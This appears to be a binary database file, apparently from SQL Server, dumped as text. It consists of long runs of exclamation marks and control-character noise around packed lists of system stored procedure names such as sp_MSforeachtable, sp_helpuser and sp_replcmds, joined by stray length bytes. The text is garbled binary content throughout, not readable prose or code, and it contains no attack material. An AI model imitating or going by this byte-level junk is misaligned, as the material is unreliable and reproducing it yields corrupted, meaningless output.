!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~,f

F
^x<v6
B
<
			(	*x8XR`Z4r>b^0v00`W
WV"$
0[Qs&Ex4sp_MSsendtosqlqueue&jLsp_MSset_dynamic_filter_options&c	Lsp_MSset_logicalrecord_metadata&Dsp_MSset_new_identity_range&l8}4sp_MSset_oledb_prop&;SF0sp_MSset_sub_guid&5ONsp_MSset_subscription_properties&"0sp_MSsetalertinfo&k.sp_MSsetartprocs&7$sp_MSsetbit&8sp_MSsetconflicttable&cZsp_MSsetcontext_bypasswholeddleventbit&D0sp_MSsetgentozero&
4sp_MSsetlastsentgen&Tkm8sp_MSsetreplicastatus&&:sp_MSsetsubscriberinfo&~.sp_MSsettopology&vi@sp_MSsetup_identity_range&miLsp_MSsetup_use_partition_groups&=0sp_MSsetupbelongs&;YsNsp_MSsetupnosyncsubwithlsnatdist&u^sp_MSsetupnosyncsubwithlsnatdist_cleanup&sf\sp_MSsetupnosyncsubwithlsnatdist_helper&66sp_MSSharedFixedDisk&p%8sp_MSSQLDMO70_version&K8sp_MSSQLDMO90_version&J4sp_MSSQLOLE_version&8sp_MSSQLOLE65_version&3Fsp_MSstartdistribution_agent&(Ɯ8sp_MSstartmerge_agent&Y>sp_MSstartsnapshot_agent&0]Dsp_MSstopdistribution_agent&se6sp_MSstopmerge_agent&Hi<sp_MSstopsnapshot_agent&(8sp_MSsub_set_identity&L_Bsp_MSsubscriptionvalidated&*sp_MStablekeys&*sp_MStablerefs&&sp_MStestbit&G0sp_MStran_ddlrepl&.4sp_MSunmarkifneeded&9<sp_MSunmarkschemaobject&Dsp_MSunregistersubscription&Hsp_MSupdate_agenttype_default&UDsp_MSupdate_subscriber_info&@.OLsp_MSupdate_subscriber_schedule&EXsp_MSupdate_subscriber_tracer_history&.>sp_MSupdate_subscription&{Bsp_MSupdate_tracer_history&FK>sp_MSupdatecachedpeerlsn&Ԋ8sp_MSupdategenhistory&`sp_MSupdateinitiallightweightsubscription&4J<sp_MSupdatelastsyncinfo&#hn2sp_MSupdatepeerlsn&z0sp_MSupdaterecgen&<sp_MSupdatereplicastate&uDsp_MSupdatesysmergearticles&}%8sp_MSuplineageversion&@sp_MSvalidate_dest_recgen&ABsp_MSvalidate_subscription&bBZsp_MSvalidate_wellpartitioned_articles&uU6sp_MSvalidatearticle&#Bsp_MSwritemergeperfcounter&$4sp_MSsetrowmetadata&lW2sp_MSsetaccesslist&<sp_MSsub_check_identity&Jsp_MStran_is_snapshot_required&@sp_MSsetcontext_replagent&-2sp_MSsetlastrecgen&oDFsp_MSset_snapshot_xact_seqno&>p>sp_MSsubscription_status&1	8sp_MSSQLDMO80_version&RDsp_MSsetup_partition_groups&Lsp_MSupdategenerations_afterbcp&Rbsp_MStrypurgingoldsnapshotdeliveryprogress&n6Y4sp_MSunmarkreplinfo&Hsp_MSuploadsupportabilitydata&s>sp_MSSetServerProperties&=,sp_MSuniquename&'&1Fsp_MSsetreplicaschemaversion&\sp_MSupdate_singlelogicalrecordmetadata&Gn.sp_MStablechecks&,sp_MStablespace&tJsp_MSuselightweightreplication&4sp_MSsetreplicainfo&o+:sp_MSsetconflictscript!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Hv6x

~
N

H
2

Z

		P4,v	P	L&	.FVll4Dz:|f6vR"p,`
TO"$>[t/5&^<sp_MSenumpartialchanges&BHsp_MSenumpartialchangesdirect&_X<sp_MSenumpartialdeletes&/0sp_MSenumreplicas&@b4sp_MSenumreplicas90&MOI.sp_MSenumretries&F:sp_MSenumsubscriptions&K٣Rsp_MSestimatemergesnapshotworkload&sHsp_MSestimatesnapshotworkload&e<sp_MSevalsubscriberinfo&=bsp_MSevaluate_change_membership_for_all_articles_in_pubid&
X`sp_MSevaluate_change_membership_for_pubid&M?\sp_MSevaluate_change_membership_for_row&:sp_MSexecwithlsnoutput&!5:sp_MSfast_delete_trans&<sp_MSfetchidentityrange&<:sp_MSfillupmissingcols&Z0sp_MSfilterclause&0sp_MSfix_6x_tasks&p<sp_MSfixlineageversions&>sp_MSFixSubColumnBitmaps&[Dsp_MSfixupbeforeimagetables&qWPsp_MSforce_drop_distribution_jobs&#/<sp_MSforcereenumeration&ߑ4sp_MSforeach_worker&z/*sp_MSforeachdb&s|0sp_MSforeachtable&#]36sp_MSget_agent_names&賴Tsp_MSget_DDL_after_regular_snapshot&b}Rsp_MSget_dynamic_snapshot_location&6֜Fsp_MSget_identity_range_info&5-0sp_MSget_jobstate&_U7<sp_MSget_latest_peerlsn&U2sp_MSget_load_hint&yJsp_MSget_logicalrecord_lineage&Bsp_MSget_max_used_identity&Psp_MSget_MSmerge_rowtrack_colinfo&1<sp_MSget_new_xact_seqno&Jsp_MSget_partitionid_eval_proc&
3Rsp_MSget_publication_from_taskname&&:sp_MSget_publisher_rpc&:sp_MSget_repl_commands&N[c4sp_MSget_repl_error&$bDsp_MSget_session_statistics&xq8sp_MSget_shared_agent&%)4@sp_MSget_snapshot_history&kNsp_MSget_subscriber_partition_id&PJsp_MSget_subscription_dts_info&$Bsp_MSget_subscription_guid&28sp_MSget_type_wrapper&%>sp_MSgetagentoffloadinfo&:Bsp_MSgetarticlereinitvalue&%4sp_MSgetchangecount&0,@sp_MSgetconflicttablename&]T+>sp_MSGetCurrentPrincipal&@sp_MSgetdatametadatabatch&'Jsp_MSgetdynamicsnapshotapplock&GuJsp_MSgetdynsnapvalidationtoken&bsp_MSgetisvalidwindowsloginfromdistributor& z|2sp_MSgetlastrecgen&7c<sp_MSgetlastsentrecgens&GBsp_MSget_synctran_commands&\“0sp_MSgetdbversion&y<sp_MSflush_access_cache&8sp_MSenumschemachange&Tsp_MSget_log_shipping_new_sessionid&o@sp_MSget_last_transaction&2sp_MSget_oledbinfo&!8sp_MSget_attach_state&l<sp_MSgenerateexpandproc&@:sp_MSenumpubreferences&Hsp_MSfetchAdjustidentityrange&.2sp_MSget_min_seqno&7Fsp_MSget_repl_cmds_anonymous&Bsp_MSgetconflictinsertproc&>sp_MSgetalternaterecgens&%`sp_MSenumthirdpartypublicationvendornames&m4sp_MSgetlastsentgen&Oՙ0sp_MSgetalertinfo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r|"<


H
<

F<

B
	Z	l	*	rBV VRHr:8B>zP `
RJ"66[OC&Bsp_helpreplicationdboption&>sp_helpreplicationoption&7$sp_helprole&'(sp_helprotect&(sp_helpserver&4$sp_helpsort&*sp_helpsrvrole&&sp_helpstats&u8sp_helpsubscriberinfo&'74sp_helpsubscription&EJsp_helpsubscription_properties&5@sp_helpsubscriptionerrors&p"$sp_helptext&:K@sp_helptracertokenhistory&d4sp_helptracertokens&cQ*sp_helptrigger&8$sp_helpuser&*RHsp_http_generate_wsdl_complex&	zfsp_http_generate_wsdl_defaultcomplexorsimple&fsp_http_generate_wsdl_defaultsimpleorcomplex&j+Fsp_http_generate_wsdl_simple&|FLsp_identitycolumnforreplication&8sp_IHadd_sync_command&<2sp_IHarticlecolumn&Dsp_IHget_loopback_detection&7o/2sp_IHScriptIdxFile&82sp_IHScriptSchFile&:sp_IHValidateRowFilter&Z,sp_IHXactSetJob&<sp_indexcolumns_managed&F"sp_indexes&?dE8sp_indexes_100_rowset&ȯ:sp_indexes_100_rowset2&U6sp_indexes_90_rowset&j>sp_indexes_90_rowset_rmt&=[8sp_indexes_90_rowset2&!(2sp_indexes_managed&2sp_indexes_rowset2&B*sp_indexoption&8sp_invalidate_textptr&0sDsp_is_makegeneration_needed&q	<sp_is_sqlagent_starting&y,sp_isprohibited&)X8sp_ivindexhasnullcols&-~_@sp_jobhistory_row_limiter&6udsp_lightweightmergemetadataretentioncleanup&"A4sp_link_publication&.sp_linkedservers&9mL<sp_linkedservers_rowset&~>sp_linkedservers_rowset2&^sp_lock&<bRsp_log_shipping_get_date_from_file&a<sp_log_shipping_in_sync&Y_gJsp_log_shipping_monitor_backup&hLsp_log_shipping_monitor_restore&AHsp_logshippinginstallmetadata&K<sp_lookupcustomresolver&i|8sp_MailItemResultSets&PiDsp_maintplan_close_logentry&34<sp_maintplan_delete_log&UF>sp_maintplan_delete_plan&lXDsp_maintplan_delete_subplan&uBsp_maintplan_open_logentry&4z:2sp_maintplan_start&ޠFsp_maintplan_subplans_by_job&
^<sp_maintplan_update_log&1RDsp_maintplan_update_subplan&z
0sp_helpxactsetjob&r6sp_helpsrvrolemember&j0sp_helprolemember&s>8sp_indexes_rowset_rmt&f68sp_IH_LR_GetCacheData&IC`sp_kill_filestream_non_transacted_handles&.0sp_indexes_rowset!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\ f"

d
,
\h*


(
			H		p6>X \*JnRV"~4xT,`W
K"V[t(;ŧ&A@sp_registercustomresolver&uJsp_reinitmergepullsubscription&>Bsp_reinitmergesubscription&e@sp_reinitpullsubscription&x8sp_reinitsubscription&$f0sp_releaseapplock&*т6sp_releaseschemalock&a_,sp_remoteoption&VBsp_remove_job_from_targets& ;fZsp_remove_log_shipping_monitor_account&:sp_removedbreplication&ETsp_removedistpublisherdbreplication&&<sp_removesrvreplication& sp_rename&xA$sp_renamedb&.sp_repladdcolumn&B|:sp_replcleanupccsprocs&$sp_replcmds&L,sp_replcounters&5k.sp_replddlparser&	<sp_repldeletequeuedtran&$sp_repldone&_^0sp_repldropcolumn&^&sp_replflush&je:sp_replgetparsedddlcmd&9$sp_replhelp&NJ"sp_replica&Fsp_replication_agent_checkup&:sp_replicationdboption&^sp_replmonitorchangepublicationthreshold&dJsp_replmonitorhelpmergesession&͈Vsp_replmonitorhelpmergesessiondetail&PDdsp_replmonitorhelpmergesubscriptionmoreinfo&\sp_replmonitorhelppublicationthresholds&6QDsp_replmonitorhelppublisher&TQJsp_replmonitorhelpsubscription&O_>sp_replmonitorrefreshjob&UXsp_replmonitorsubscriptionpendingcmds&9O8sp_replpostsyncstatus&4sp_replqueuemonitor&q*sp_replrethrow&2sp_replsendtoqueue&☩6sp_replsetoriginator&k6sp_replsetsyncstatus&(+,sp_replshowcmds&}~N2sp_replsqlqgetrows&
6$sp_replsync&t&sp_repltrans&L6sp_replwritetovarbin&/}:sp_requestpeerresponse&pBsp_requestpeertopologyinfo&1@sp_reserve_http_namespace&'4sp_reset_connection&*sp_resetstatus&s̆2sp_resign_database&R/80sp_resolve_logins&<sp_restoredbreplication&a*Fsp_restoremergeidentityrange&+:sp_resync_targetserver&S.sp_resyncexecute&n4sp_resyncexecutesql&$!.sp_resyncprepare&>_6sp_resyncuniquetable&h 